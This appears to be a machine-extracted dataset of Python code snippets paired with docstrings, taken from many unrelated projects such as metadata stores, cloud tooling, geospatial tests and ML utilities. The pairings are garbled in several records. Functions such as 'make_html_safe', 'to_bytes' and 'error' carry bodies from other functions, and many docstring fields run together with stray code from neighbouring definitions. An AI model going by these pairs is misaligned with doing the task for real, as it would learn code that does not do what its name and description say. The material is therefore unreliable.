self.metadata_store.get_events_by_execution_ids(\n [execution.id])\n for e_event in e_events:\n if _is_input_event(e_event):\n continue\n [artifact] = self.metadata_store.get_artifacts_by_id(\n [e_event.artifact_id])\n [artifact_type] = self.metadata_store.get_artifact_types_by_id(\n [artifact.type_id])\n if artifact_type.name == dest_type_name:\n return artifact\n dest_artifact = self.get_dest_artifact_of_type(\n artifact.id, dest_type_name)\n if dest_artifact:\n return dest_artifact\n", "nl": "Returns the destination artifact of `dest_type_name` from `artifact_id`.This method recursively traverses the events and associated executions thatconsumed `artifact_id` to find an artifact of type `dest_type_name` that wasan output for these events.Args:artifact_id: A `int` indicating the id of an artifact.dest_type_name: A `str` indicating the type of an artifact that isa output of an event that directly/indirectly consumed `artifact_id`.Returns:A `metadata_store_pb2.Artifact` of type `dest_type_name` that is adirect/indirect output from `artifact_id` or `None` if no such artifactexists."} {"code": "def __getattr__(self, item):", "nl": "Dynamic getter to translate generic show commands.David came up with this dynamic method. It takescalls with show commands encoded in the name. I'll replace theunderscores for spaces and issues the show command on the device...pretty neat!non keyword params for show command:all non keyword arguments is added to the command to allow dynamic parameters:eg: .show_interface(\"GigabitEthernet0/0/0/0\")keyword params for show command:config=True/False : set True to run show command in config modeeg: .show_configuration_merge(config=True)"} {"code": "def __getitem__(self, name):\n try:\n return self._names[name].parse()\n except KeyError:\n raise KeyError('no widget named %r' % name)\n", "nl": "(name:string) -> anyReturn a widget's value. Raises KeyError if widget named 'name'does not exist."} {"code": "def call(self, inputs, training=None):\n if training is None:\n training = tf.keras.backend.learning_phase()\n", "nl": "Builds computation graph.Args:inputs: Input tensor (of any rank).training: Python boolean indicating whether the layer should behave intraining mode (adding dropout) or in inference mode (doing nothing).Returns:`inputs` masked according to layer configuration.Raises:ValueError: If `force_recomputation` is `True` and called outside aa recompute context."} {"code": "def error(self, msg, *args):\n return pickline(self.profile, key)\n", "nl": "Routine to print an error. May be overridden by a derived class.sys.stderr.write('MH error: %s\\n' % (msg % args))def getprofile(self, key):Return a profile entry, None if not found."} {"code": "def init_base_model_params(self):\n raise NotImplementedError\n", "nl": "Initialize Base Model Parameters.self.base_models."} {"code": "def init():\n zkclient = context.GLOBAL.zk.conn\n zkclient.ensure_path(z.CRON_JOBS)\n\n if no_lock:\n _do_watch(zkclient)\n reactor.run()\n else:\n lock = zkutils.make_lock(\n zkclient, z.path.election(__name__)\n )\n _LOGGER.info('Waiting for leader lock.')\n with lock:\n _do_watch(zkclient)\n reactor.run()\n\n return run", "nl": "Return top level command handler.@click.command()@click.option('--no-lock', is_flag=True, default=False,help='Run without lock.')def run(no_lock):Run Treadmill master scheduler."} {"code": "def test_globio_single_infra(self):\n from natcap.invest import globio\n\n args = {\n 'aoi_path': os.path.join(SAMPLE_DATA, 'sub_aoi.shp'),\n 'globio_lulc_path': '',\n 'infrastructure_dir': os.path.join(\n SAMPLE_DATA, 'infrastructure_dir'),\n 'intensification_fraction': '0.46',\n 'lulc_to_globio_table_path': os.path.join(\n SAMPLE_DATA, 'lulc_conversion_table.csv'),\n 'lulc_path': os.path.join(SAMPLE_DATA, 'lulc_2008.tif'),\n 'msa_parameters_path': os.path.join(\n SAMPLE_DATA, 'msa_parameters.csv'),\n 'pasture_threshold': '0.5',\n 'pasture_path': os.path.join(SAMPLE_DATA, 'pasture.tif'),\n 'potential_vegetation_path': os.path.join(\n SAMPLE_DATA, 'potential_vegetation.tif'),", "nl": "GLOBIO: regression testing with single infrastructure raster.from natcap.invest import globio# Use the projection and geostransform from sample data to build testroads_path = os.path.join(SAMPLE_DATA, 'infrastructure_dir', 'roads.tif')base_raster = gdal.OpenEx(roads_path, gdal.OF_RASTER)projection_wkt = base_raster.GetProjection()base_geotransform = base_raster.GetGeoTransform()base_raster = None# Create a temporary infrastructure directory with one rastertmp_infra_dir = os.path.join(self.workspace_dir, \"single_infra\")os.mkdir(tmp_infra_dir)tmp_roads_path = os.path.join(tmp_infra_dir, \"roads.tif\")tmp_roads_array = numpy.array([[0, 0, 0, 0], [0.5, 1, 1, 13.0], [1, 0, 1, 13.0], [1, 1, 0, 0]])tmp_roads_nodata = 13.0raster_driver = gdal.GetDriverByName('GTiff')ny, nx = tmp_roads_array.shapenew_raster = raster_driver.Create(tmp_roads_path, nx, ny, 1, gdal.GDT_Float32)new_raster.SetProjection(projection_wkt)new_raster.SetGeoTransform([base_geotransform[0], 10, 0.0, base_geotransform[3], 0.0, -10])new_band = new_raster.GetRasterBand(1)new_band.SetNoDataValue(tmp_roads_nodata)new_band.WriteArray(tmp_roads_array)new_raster.FlushCache()new_band = Nonenew_raster = Nonetemp_dir = os.path.join(self.workspace_dir, \"tmp_dir\")os.mkdir(temp_dir)result_path = os.path.join(self.workspace_dir, 'combined_infrastructure.tif')# No need to run the whole model so call infrastructure combining# function directlyglobio._collapse_infrastructure_layers(tmp_infra_dir, tmp_roads_path, result_path, temp_dir)expected_result = numpy.array([[0, 0, 0, 0], [1, 1, 1, 255], [1, 0, 1, 255], [1, 1, 0, 0]])result_raster = gdal.OpenEx(result_path, gdal.OF_RASTER)result_band = result_raster.GetRasterBand(1)result_array = result_band.ReadAsArray()numpy.testing.assert_allclose(result_array, expected_result)result_band = Noneresult_raster = Nonedef test_globio_full(self):GLOBIO: regression testing all functionality (mode a)."} {"code": "def writeSomeData(self, data):\n return len(data)\n\n", "nl": "Always write all data."} {"code": "def make_resource(self, data, **kwargs):\n\n size = fields.Int(metadata={\"update_policy\": UpdatePolicy.QUEUE_UPDATE_STRATEGY})\n encrypted = fields.Bool(metadata={\"update_policy\": UpdatePolicy.QUEUE_UPDATE_STRATEGY})\n volume_type = fields.Str(metadata={\"update_policy\": UpdatePolicy.QUEUE_UPDATE_STRATEGY})\n iops = fields.Int(metadata={\"update_policy\": UpdatePolicy.QUEUE_UPDATE_STRATEGY})\n throughput = fields.Int(metadata={\"update_policy\": UpdatePolicy.QUEUE_UPDATE_STRATEGY})\n\n @post_load", "nl": "Generate resource.return RootVolume(**data)class QueueRootVolumeSchema(BaseSchema):Represent the RootVolume schema for the queue."} {"code": "def start_logging(self):\n self._restore_stream()\n", "nl": "Start directing the stream to the logging module.self._replace_with_logger()def stop_logging(self):Restore the stream to its original settings."} {"code": "def derive_scrypt(self, key_material, salt, length, n, r, p):", "nl": "Return bytes derived from provided Scrypt parameters."} {"code": "def set_relative_directory():\n return RELATIVE_DIR\n\n\n@contract(returns='unicode')", "nl": "Set the directory that `relative_filename` will be relative to.global RELATIVE_DIR, CANONICAL_FILENAME_CACHE# The absolute path to our current directory.RELATIVE_DIR = os.path.normcase(abs_file(os.curdir) + os.sep)# Cache of results of calling the canonical_filename() method, to# avoid duplicating work.CANONICAL_FILENAME_CACHE = {}def relative_directory():Return the directory that `relative_filename` is relative to."} {"code": "def get_function_code(function):\n region = LambdaRegion.get()\n arn = func_arn(function)\n lambda_function = region.lambdas.get(arn)\n if not lambda_function:\n return not_found_error(arn)\n lambda_cwd = lambda_function.cwd\n tmp_file = \"%s/%s\" % (lambda_cwd, LAMBDA_ZIP_FILE_NAME)\n return Response(\n load_file(tmp_file, mode=\"rb\"),\n mimetype=\"application/zip\",\n headers={\"Content-Disposition\": \"attachment; filename=lambda_archive.zip\"},\n )\n\n\n@app.route(\"%s/functions//configuration\" % API_PATH_ROOT, methods=[\"GET\"])", "nl": "Get the code of an existing function---operationId: 'getFunctionCode'parameters:"} {"code": "def test_multiple_polymorphic_key_failure(self):\n class Base(models.Model):\n\n partition = columns.Integer(primary_key=True)\n type1 = columns.Integer(polymorphic_key=True)\n\n class M1(Base):\n __polymorphic_key__ = 1\n\n class M2(M1):\n pass\n\n assert M2.__polymorphic_key__ is None\n", "nl": " Tests that defining a model with more than one polymorphic key fails with self.assertRaises(models.ModelDefinitionException):class M(models.Model):partition = columns.Integer(primary_key=True)type1 = columns.Integer(polymorphic_key=True)type2 = columns.Integer(polymorphic_key=True)def test_polymorphic_key_inheritance(self): Tests that polymorphic_key attribute is not inherited "} {"code": "def __set_additional_options(self, context, flag_name, flag_value):\n add_opts = flag_value\n if add_opts:\n add_opts = set_unix_slash(add_opts).split()\n ready_add_opts = []\n for add_opt in add_opts:\n add_opt = add_opt.strip()\n if '/Qprof-dir' in add_opt:\n name_value = add_opt.split(':')\n prof_dir = normalize_path(\n context,\n os.path.dirname(context.vcxproj_path), name_value[1]\n )\n prof_dir = cleaning_output(context, prof_dir)\n add_opt = name_value[0] + ':' + prof_dir\n\n add_opt = '-' + add_opt[1:]\n ready_add_opts.append(add_opt)\n unix_option = add_opt.replace(':', ' ')\n if 'gen-interfaces' in unix_option:\n pass\n elif 'Qprec-div' in unix_option:\n unix_option = FortranFlags.__get_no_prefix(unix_option) + '-prec-div'\n elif unix_option == '-static':\n pass\n elif 'Qprof-dir' in unix_option:\n unix_option = unix_option.replace('Qprof-dir', 'prof-dir')\n elif 'Qprof-gen' in unix_option:\n unix_option = unix_option.replace('Qprof-gen', 'prof-gen')\n elif 'Qprof-use' in unix_option:\n unix_option = unix_option.replace('Qprof-use', 'prof-use')\n elif 'Qprec-sqrt' in unix_option:\n unix_option = FortranFlags.__get_no_prefix(unix_option) + '-prec-sqrt'\n elif 'Qopenmp-lib' in unix_option:\n unix_option = unix_option.replace('Qopenmp-lib', 'qopenmp-lib')\n unix_option = unix_option.replace('lib ', 'lib=')\n else:\n message(context, 'Unix ifort option \"{}\" may be incorrect. '\n 'Check it and set it with visual studio UI if possible.'\n .format(unix_option), 'warn')\n if ifort_cl_win not in self.flags[flag_name]:\n self.flags[flag_name][ifort_cl_win] = []\n self.flags[flag_name][ifort_cl_win].append(add_opt)\n if ifort_cl_unix not in self.flags[flag_name]:\n self.flags[flag_name][ifort_cl_unix] = []\n self.flags[flag_name][ifort_cl_unix].append(unix_option)\n message(context,\n 'Additional Options : {}'.format(str(ready_add_opts)), '')\n\n @staticmethod", "nl": "Set Additional options"} {"code": "def removeDuplicates(variable):\n oldList = variable.split(os.pathsep)\n newList = []\n for i in oldList:\n if i not in newList:\n newList.append(i)\n newVariable = os.pathsep.join(newList)\n return newVariable\n", "nl": "Remove duplicate values of an environment variable."} {"code": "def interweaveArrays(*args):\n\n size = sum(x.size for x in args)\n result = np.empty((size,), dtype=args[0].dtype)\n n = len(args)\n for index, array in enumerate(args):\n result[index::n] = array\n return result\n\n", "nl": "Parameters----------args : numpy.ndarrayseries of 1D numpy arrays of the same length and dtypeReturns-------numpy.ndarrayA numpy array with all the input numpy arrays interwovenExamples-------->>> result = interweaveArrays(numpy.ndarray([0, 2, 4]), numpy.ndarray([1, 3, 5]))>>> resultarray([0, 1, 2, 3, 4, 5])"} {"code": "def propset(self, name, value, *args):\n res = self._svn('propget', name)\n return res[:-1]\n", "nl": " set property name to value on this path. d = py.path.local.mkdtemp()try:p = d.join('value')p.write(value)self._svn('propset', name, '--file', str(p), *args)finally:d.remove()def propget(self, name): get property name on this path. "} {"code": "def gelu(x):\n cdf = 0.5 * (1.0 + tf.tanh((np.sqrt(2 / np.pi) * (x + 0.044715 * tf.pow(x, 3)))))\n return x * cdf\n\n", "nl": " Implementation of the gelu activation function.XLNet is using OpenAI GPT's geluAlso see https://arxiv.org/abs/1606.08415"} {"code": "def initBarrelInfo(self):\n if cogIndex in self.cogInfo and barrelIndex in self.barrelInfo:\n self.barrelInfo[barrelIndex]['carriedBy'] = cogIndex\n self.cogInfo[cogIndex]['barrel'] = barrelIndex\n else:\n self.notify.warning('makeCogCarryBarrel invalid cogIndex=%s barrelIndex=%s'\n % (cogIndex, barrelIndex))\n", "nl": "For each barrel, initialize the info about him.for barrelIndex in xrange(CogThiefGameGlobals.NumBarrels):self.barrelInfo[barrelIndex] = {'pos' : Point3(CogThiefGameGlobals.BarrelStartingPositions[barrelIndex]),'carriedBy' : CTGG.BarrelOnGround,'stolen' : False,}def makeCogCarryBarrel(self, timestamp, clientStamp, cogIndex, barrelIndex):Make the cog carry a barrel."} {"code": "def get_real_path(uri, server=False):\n if uri is None:\n return uri\n\n uri = H.url_decode(uri)\n\n try:\n transport, filename = uri.split(':///', 1)\n except:\n filename = uri\n\n uri = os.path.normpath(filename)\n\n drive_pattern = re.compile(r'^[a-zA-Z]:[\\\\/]')\n\n if not drive_pattern.match(uri) and not os.path.isabs(uri):\n uri = os.path.normpath('/' + uri)\n\n path_mapping = get_value(S.KEY_PATH_MAPPING)\n if isinstance(path_mapping, dict):\n for server_path, local_path in path_mapping.items():\n server_path = os.path.normpath(server_path)\n local_path = os.path.normpath(local_path)\n if server:\n if local_path in uri:\n uri = uri.replace(local_path, server_path)\n break\n else:\n if server_path in uri:\n uri = uri.replace(server_path, local_path)\n break\n else:", "nl": "Get real pathKeyword arguments:uri -- Uri of file that needs to be mapped and locatedserver -- Map local path to server pathTODO: Fix mapping for root (/) and drive letters (P:/)"} {"code": "def get_all_keys(cls) -> Tuple:\n return cls.__extras.keys(), cls.__affluent.keys(), cls.__data.keys()\n\n @classmethod", "nl": "Return all keys from all dictionaries.extras, affluent, dataTo get all returns:extras, affluent, data = cls.get_all_keys()For an individual:data = cls.get_all_keys()[2]"} {"code": "def delete(self, key):\n\n pass\n\n\nclass KVStoreCheckpointer(Checkpointer):\n '''KVStore checkpointer.", "nl": "Delete checkpoint.:param key: Checkpoint key.:type key: ``string``Usage::>>> from solnlib.modular_input import checkpointer>>> ck = checkpointer.KVStoreCheckpointer(session_key,'Splunk_TA_test')>>> ck.delete('checkpoint_name1')"} {"code": "def createParser(self):\n if not self._parser:\n self._parser = self.createParser()", "nl": "Create a new parser object.return expat.ParserCreate()def getParser(self):Return the parser object, creating a new one if needed."} {"code": "def get_test_fns(self) -> Tuple[List[str], List[str]]:\n The file \"untranscribed_prefixes.txt\" will specify prefixes which\n do not have an associated transcription file if placed in the target directory.\n\n This will fetch those prefixes from that file and will return an empty\n list if that file does not exist.\n\n See find_untranscribed_wavs function for finding untranscribed prefixes in an\n experiment directory.\n \"\"\"", "nl": " Fetches the test set of the corpus.return self.prefixes_to_fns(self.test_prefixes)def get_untranscribed_prefixes(self) -> List[str]:"} {"code": "def get_classes(self, split):\n if not hasattr(self, 'classes_per_split'):\n self.initialize()\n return get_classes(split, self.classes_per_split)\n", "nl": "Returns a list of the class id's of classes assigned to split.Args:split: A Split, the split for which to get classes."} {"code": "def VerifyHasRequiredProperties(self):\n\n for property, attributes in self._schema.iteritems():\n (is_list, property_type, is_strong, is_required) = attributes[0:4]\n if is_required and not property in self._properties:\n raise KeyError(self.__class__.__name__ + ' requires ' + property)\n", "nl": "Ensure that all properties identified as required by the schema areset."} {"code": "def p_template_args1(self, p):\n args, stararg = p[2]\n node = enaml_ast.TemplateArguments()\n node.lineno = p.lineno(1)\n node.args = args\n node.stararg = stararg\n self._fixup_template_args(node)\n p[0] = node\n", "nl": " template_args : LPAR RPAR node = enaml_ast.TemplateArguments()node.lineno = p.lineno(1)p[0] = nodedef _fixup_template_args(self, node):lineno = node.linenofor arg in node.args:if arg.lineno == -1:arg.lineno = linenoelse:lineno = arg.linenoarg.ast.body.lineno = linenoast.fix_missing_locations(arg.ast.body)def p_template_args2(self, p): template_args : LPAR template_arglist RPAR "} {"code": "def null_based_length_prediction(chars_log_prob, null_code):\n predicted_chars = tf.cast(\n tf.argmax(input=chars_log_prob, axis=2), dtype=tf.int32)\n text_log_prob = max_char_logprob_cumsum(\n axis_pad(chars_log_prob, axis=1, after=1))\n predicted_length = find_length_by_null(predicted_chars, null_code)\n return text_log_prob, predicted_length\n\n\nclass Model(object):\n \"\"\"Class to create the Attention OCR Model.\"\"\"", "nl": "Computes length and confidence of prediction based on positions of NULLs.Args:chars_log_prob: A tensor of shape [batch x seq_length x num_char_classes]with log probabilities of a character;null_code: an int32, character id for the NULL.Returns:A tuple (text_log_prob, predicted_length), wheretext_log_prob - is a tensor of the same shape as length_log_prob.Element #0 of the output corresponds to probability of the empty string,element #seq_length - is the probability of length=seq_length.predicted_length is a tensor with shape [batch]."} {"code": "def build_mipmaps(self, base: int = 0, max_level: int = 1000) -> None:\n if self._samples > 0:\n raise ValueError(\"Multisampled textures don't support mimpmaps\")\n", "nl": "Generate mipmaps for this texture.The default values usually work well.Mipmaps are successively smaller versions of an originaltexture with special filtering applied. Using mipmaps allowsOpenGL to render scaled versions of original textures with fewerscaling artifacts.Mipmaps can be made for textures of any size. Each mipmapversion halves the width and height of the previous one (e.g.256 x 256, 128 x 128, 64 x 64, etc) down to a minimum of 1 x 1... note:: Mipmaps will only be used if a texture's filter isconfigured with a mipmap-type minification::# Set up linear interpolating minification filtertexture.filter = ctx.LINEAR_MIPMAP_LINEAR, ctx.LINEAR:param int base: Level the mipmaps start at (usually 0):param int max_level: The maximum number of levels to generateAlso see: https://www.khronos.org/opengl/wiki/Texture#Mip_maps"} {"code": "def factored_second_moment_dims(self, shape):\n if not self._factored:\n return None\n if len(shape) < 2:\n return None\n if not self._sort_factored_second_moment_dims:\n return len(shape) - 1, len(shape) - 2\n", "nl": "Should we use a factored second moment estimator.We select largest and second largest var dims as row and colum dims.Default list of factored dims is -1, -2.Args:shape: a list of integers.Returns:either a list of 2 Dimension indices for row and col or None"} {"code": "def readable(self):\n\n :param byte_array: A byte array/memory view to pour bytes into.\n :type byte_array: ``bytearray`` or ``memoryview``\n\n \"\"\"", "nl": " Indicates that the response reader is readable.return Truedef readinto(self, byte_array): Read data into a byte array, upto the size of the byte array."} {"code": "def make_html_safe(s):\n r = pyrouge.Rouge155()\n r.model_filename_pattern = '\n r.system_filename_pattern = '(\\d+)_decoded.txt'\n r.model_dir = ref_dir\n r.system_dir = dec_dir\n logging.getLogger('global').setLevel(logging.WARNING)\n rouge_results = r.convert_and_evaluate()\n return r.output_to_dict(rouge_results)\n\n", "nl": "Replace any angled brackets in string s to avoid interfering with HTML attention visualizer.s.replace(\"<\", \"<\")s.replace(\">\", \">\")return sdef rouge_eval(ref_dir, dec_dir):Evaluate the files in ref_dir and dec_dir with pyrouge, returning results_dict"} {"code": "def fire_event(self, value: Any) -> None:\n if callable(self._central.callback_ha_event):\n self._central.callback_ha_event(\n self.event_type,\n self.get_event_data(),\n )\n\n", "nl": "Do what is needed to fire an event."} {"code": "def to_bytes(url):\n url = str(url).strip()\n if url[:1] == '<' and url[-1:] == '>':\n url = url[1:-1].strip()\n if url[:4] == 'URL:': url = url[4:].strip()\n return url\n\n_typeprog = None", "nl": "to_bytes(u\"URL\") --> 'URL'.# Most URL schemes require ASCII. If that changes, the conversion# can be relaxed.# XXX get rid of to_bytes()if isinstance(url, str):try:url = url.encode(\"ASCII\").decode()except UnicodeError:raise UnicodeError(\"URL \" + repr(url) +\" contains non-ASCII characters\")return urldef unwrap(url):unwrap('') --> 'type://host/path'."} {"code": "def close(self, config):\n for value in self.config_files.values():\n value.save()\n\n return True\n", "nl": "Close a config file.try:del self.config_files[config]except KeyError:passdef save(self):Save all the configs to disk."} {"code": "def draw_circle_base(data, h, c1, c2, t, r):\n data = draw_cylinder(data, h, c1, c2, t, r)\n step = np.asarray([8, h, c1, c2, t, r])\n return data, step\n\n", "nl": "\"Base\", \"Circle\":param (h, c1, c2): position:param (r, t): shape"} {"code": "def register_entity():", "nl": "Registers the EntityConfig class withdjango entity:@register_entity()class AuthorConfig(EntityConfig):queryset = Author.objects.all()"} {"code": "def is_import(node):\n if it was not imported. \"\"\"", "nl": "Returns true if the node is an import statement.return node.type in (syms.import_name, syms.import_from)def touch_import(package, name, node): Works like `does_tree_import` but adds an import statement"} {"code": "def on_socket_state_change(self):\n arm.live_patch.send_event('ln_update_sockets', self)\n", "nl": "Called if the state (amount, connection state) of the node'ssocket changes (see ArmLogicTreeNode.update())"} {"code": "def full_load(stream):\n return load(stream, FullLoader)\n", "nl": "Parse the first YAML document in a streamand produce the corresponding Python object.Resolve all tags except those known to beunsafe on untrusted input."} {"code": "def shell_context_processor(self, f):\n self.shell_context_processors.append(f)\n return f\n\n @setupmethod", "nl": "Registers a shell context processor function... versionadded:: 0.11"} {"code": "def get_cluster_nodes_instance_ids(stack_name, region, instance_types=None, node_type=None, queue_name=None):\n try:\n if not region:\n region = os.environ.get(\"AWS_DEFAULT_REGION\")\n conversion_dict = {}\n ec2_client = boto3.client(\"ec2\", region_name=region)\n response = ec2_client.describe_instances(InstanceIds=instance_ids).get(\"Reservations\")\n for reservation in response:\n for instance in reservation.get(\"Instances\"):\n instance_hostname = instance.get(\"PrivateDnsName\").split(\".\")[0]\n instance_id = instance.get(\"InstanceId\")\n if id_to_hostname:\n conversion_dict[instance_id] = instance_hostname\n else:\n conversion_dict[instance_hostname] = instance_id\n\n return conversion_dict\n except Exception as e:\n logging.error(\"Failed retrieving hostnames for instances {} with exception: {}\".format(instance_ids, e))\n\n", "nl": "Return a list of cluster Instances Id's.try:instances = _describe_cluster_instances(stack_name,region,filter_by_node_type=node_type,filter_by_instance_types=instance_types,filter_by_queue_name=queue_name,)return [instance[\"InstanceId\"] for instance in instances]except Exception as e:logging.error(\"Failed retrieving instance ids with exception: %s\", e)raisedef _describe_cluster_instances(stack_name,region,filter_by_node_type=None,filter_by_name=None,filter_by_instance_types=None,filter_by_queue_name=None,):ec2 = boto3.client(\"ec2\", region_name=region)filters = [{\"Name\": \"tag:parallelcluster:cluster-name\", \"Values\": [stack_name]},{\"Name\": \"instance-state-name\", \"Values\": [\"running\"]},]if filter_by_node_type:filters.append({\"Name\": \"tag:parallelcluster:node-type\", \"Values\": [filter_by_node_type]})if filter_by_queue_name:filters.append({\"Name\": \"tag:parallelcluster:queue-name\", \"Values\": [filter_by_queue_name]})if filter_by_name:filters.append({\"Name\": \"tag:Name\", \"Values\": [filter_by_name]})if filter_by_instance_types:filters.append({\"Name\": \"instance-type\", \"Values\": filter_by_instance_types})instances = []for page in paginate_boto3(ec2.describe_instances, Filters=filters):instances.extend(page.get(\"Instances\", []))return instancesdef get_instance_ids_compute_hostnames_conversion_dict(instance_ids, id_to_hostname, region=None):Return instanceIDs to hostnames dict if id_to_hostname=True, else return hostname to instanceID dict."} {"code": "def test_abc_input_dependencies_smoke_test(self):\n self.run_abc_smoke_test(Test_File_Directory, \"abc_test_grammar_without_responses.py\", \"directed-smoke-test\")\n experiments_dir = self.get_experiments_dir()\n\n testing_summary_file_path = os.path.join(experiments_dir, \"logs\", \"testing_summary.json\")\n\n try:\n with open(testing_summary_file_path, 'r') as file:\n testing_summary = json.loads(file.read())\n total_requests_sent = testing_summary[\"total_requests_sent\"][\"main_driver\"]\n num_fully_valid = testing_summary[\"num_fully_valid\"]\n self.assertEqual(num_fully_valid, 3)\n self.assertLessEqual(total_requests_sent, 5)\n\n test_parser = FuzzingLogParser(self.get_network_log_path(experiments_dir, logger.LOG_TYPE_TESTING))\n get_request = test_parser._seq_list[-1].requests[-1]\n self.assertTrue(get_request.method == 'GET')\n self.assertTrue(len(get_request.body) == 30)\n except TestFailedException:\n self.fail(\"Smoke test failed: Test mode.\")\n", "nl": " This checks that the directed smoke test executes the expectedsequences in Test mode, when one of the dependencies is not returned in theresponse but instead is specified in a uuid4_suffix in the request primitive."} {"code": "def __len__(self):\n return len(self._dnamePath.listdir())\n\n", "nl": "@return: The number of key/value pairs in this Shelf"} {"code": "def test_prepare_text_indent_with_empty_end(self):\n self.assertEqual(out4, \"one line\\n line two\\n\")\n", "nl": "out4 = self._prepare_text(one lineline two)"} {"code": "def detected_content_type(self):\n return adjust_content_type(self.content_type,\n filename=self.detected_file_name)\n", "nl": "Returns content type based on the body content, the file name and theoriginal content type provided inside the message."} {"code": "def set_current_user(self, user) :\n\n\t\tself.clear_cookie(\"user_name\")\n\t\tself.clear_cookie(\"user_email\")\n\t\tself.clear_cookie(\"user_is_connected\")\n", "nl": " set cookie from user infos if user :# retrieve user datauser_name\t\t= user[\"username\"]user_password\t= user[\"password\"]user_email\t\t= user[\"email\"]# store info in cookieself.set_secure_cookie(\"user_name\", user_name )self.set_secure_cookie(\"user_email\", user_email )self.set_secure_cookie(\"user_is_connected\", \"Yes\" )# override selfself.user_email = user_emailelse :# clear user if no userself.clear_current_user()def clear_current_user(self): clear cookies from client"} {"code": "def _update_dirty_objects(self):\n self._flush_deleted_objects()\n self._update_dirty_objects()\n\n self._dirty_units = []\n self._dirty_lessons = []\n self._deleted_units = []\n self._deleted_lessons = []\n\n self._index()\n PersistentCourse13.save(self._app_context, self)\n CachedCourse13.delete(self._app_context)\n", "nl": "Update files owned by course.fs = self.app_context.fs# Update state of owned assessments.for unit in self._dirty_units:unit = self.find_unit_by_id(unit.unit_id)if not unit or verify.UNIT_TYPE_ASSESSMENT != unit.type:continuefilename = self.get_assessment_filename(unit.unit_id)path = fs.impl.physical_to_logical(filename)if fs.isfile(path):self.set_file_content(filename, None, metadata_only=True,is_draft=not self.is_unit_available(unit))# Update state of owned activities.for lesson in self._dirty_lessons:lesson = self.find_lesson_by_id(None, lesson.lesson_id)if not lesson or not lesson.has_activity:continuepath = fs.impl.physical_to_logical(self.get_activity_filename(None, lesson.lesson_id))if fs.isfile(path):fs.put(path, None, metadata_only=True,is_draft=not self.is_lesson_available(None, lesson))def save(self):Saves course to datastore and memcache."} {"code": "def decodeMask(R):\n N = len(R['counts'])\n M = np.zeros( (R['size'][0]*R['size'][1], ))\n n = 0\n val = 1\n for pos in range(N):\n val = not val\n for c in range(R['counts'][pos]):\n R['counts'][pos]\n M[n] = val\n n += 1\n return M.reshape((R['size']), order='F')\n", "nl": "Decode binary mask M encoded via run-length encoding.:param R (object RLE) : run-length encoding of binary mask:return: M (bool 2D array) : decoded binary mask"} {"code": "def num_required_frames_per_layer(self):\n num_required_frames_per_layer = {}\n temporal_dependency = 1\n for index, layer in enumerate(self.cnn[::-1]):\n if isinstance(layer, InvertedResidual):\n if layer.temporal_stride:\n temporal_dependency = 2 * temporal_dependency - 1\n temporal_dependency = temporal_dependency + int(layer.temporal_shift * 2)\n num_required_frames_per_layer[len(self.cnn) - 1 - index] = temporal_dependency\n num_required_frames_per_layer[-1 - index] = temporal_dependency\n num_required_frames_per_layer[0] = temporal_dependency\n return num_required_frames_per_layer\n\n @property", "nl": "Returns a mapping which maps the layer index to the corresponding temporal dependency"} {"code": "def get_sub_commands(self):\n commands = []\n for (cmd_name, method) in self.sub_commands:\n if method is None or method(self):\n commands.append(cmd_name)\n return commands\n\n\n", "nl": "Determine the sub-commands that are relevant in the currentdistribution (ie., that need to be run). This is based on the'sub_commands' class attribute: each tuple in that list may includea method that we call to determine if the subcommand needs to berun for the current distribution. Return a list of command names."} {"code": "def load(self):\n DistributedPartyTeamActivity.load(self)\n\n assert(self.notify.debug(\"load\"))\n\n self.loadModels()\n self.loadGuiElements()\n self.loadSounds()\n self.loadIntervals()\n self.arrowKeys = ArrowKeys()\n\n", "nl": "Load the necessary assets"} {"code": "def __getitem__(self, item):\n if isinstance(item, tuple):\n if len(item) != 3:\n raise KeyError(f\"Tuple item must be of length 3, got {len(item)}\")\n if all(isinstance(i, Integer) for i in item):\n sy = item[1] // self.section_shape[1]\n if sy in self:\n return int(\n self._sections[sy][\n (item[0], item[1] % self.section_shape[1], item[2])\n ]\n )\n else:", "nl": "Get a value or sub-section of the unbounded array.>>> # get the value at a given location>>> value = partial_array[3, 4, 5] # an integer>>> # get a cuboid volume in the array>>> value = partial_array[2:3, 4:5, 6:7] # BoundedPartial3DArray>>> # slice and int can be mixed>>> value = partial_array[2:3, 4, 6:7] # BoundedPartial3DArray>>> # if an unbounded slice is given in the y axis it will be capped at the default max and min y values.>>> value = partial_array[2:3, :, 6:7] # BoundedPartial3DArray:param item: The slices to extract.:return: The value or BoundedPartial3DArray viewing into this array."} {"code": "def cpu_num(self):\n return self._proc.cpu_num()\n\n if hasattr(_psplatform.Process, \"environ\"):\n", "nl": "Return what CPU this process is currently running on.The returned number should be <= psutil.cpu_count()and <= len(psutil.cpu_percent(percpu=True)).It may be used in conjunction withpsutil.cpu_percent(percpu=True) to observe the systemworkload distributed across CPUs."} {"code": "def get(cls, reference: str) -> Optional[\"Member\"]:\n query = meta.Session.query(cls).filter(cls.id == reference)\n group = query.first()\n if group is None:\n group = cls.by_name(reference)\n return group\n\n @classmethod", "nl": "Returns a group object referenced by its id or name.if not reference:return Nonemember = meta.Session.query(cls).get(reference)if member is None:member = cls.by_name(reference)return memberdef related_packages(self) -> list[_package.Package]:# TODO do we want to return all related packages or certain ones?return meta.Session.query(_package.Package).filter_by(id=self.table_id).all()def __str__(self):# refer to objects by name, not ID, to help debuggingif self.table_name == 'package':pkg = meta.Session.query(_package.Package).get(self.table_id)table_info = 'package=%s' % pkg.name if pkg else 'None'elif self.table_name == 'group':group = meta.Session.query(Group).get(self.table_id)table_info = 'group=%s' % group.name if group else 'None'else:table_info = 'table_name=%s table_id=%s' % (self.table_name,self.table_id)return u'' % \\(self.group.name if self.group else repr(self.group),table_info, self.capacity, self.state)class Group(core.StatefulObjectMixin,domain_object.DomainObject):id: strname: strtitle: strtype: strdescription: strimage_url: strcreated: datetime.datetimeis_organization: boolapproval_status: strstate: str_extras: dict[str, Any] # list['GroupExtra']extras: AssociationProxymember_all: list[Member]def __init__(self, name: str = u'', title: str = u'',description: str = u'', image_url: str = u'',type: str = u'group', approval_status: str = u'approved',is_organization: bool = False) -> None:self.name = nameself.title = titleself.description = descriptionself.image_url = image_urlself.type = typeself.approval_status = approval_statusself.is_organization = is_organization@propertydef display_name(self) -> str:if self.title is not None and len(self.title):return self.titleelse:return self.name@classmethoddef get(cls, reference: Optional[str]) -> Optional[Self]:Returns a group object referenced by its id or name."} {"code": "def resetwarnings():\n pass\n", "nl": "Clear the list of warning filters, so that no filters are active.filters[:] = []_filters_mutated()class _OptionError(Exception):Exception used by option processing helpers."} {"code": "def render_add_type_form(self, request, context, form_url=\"\"):\n opts = 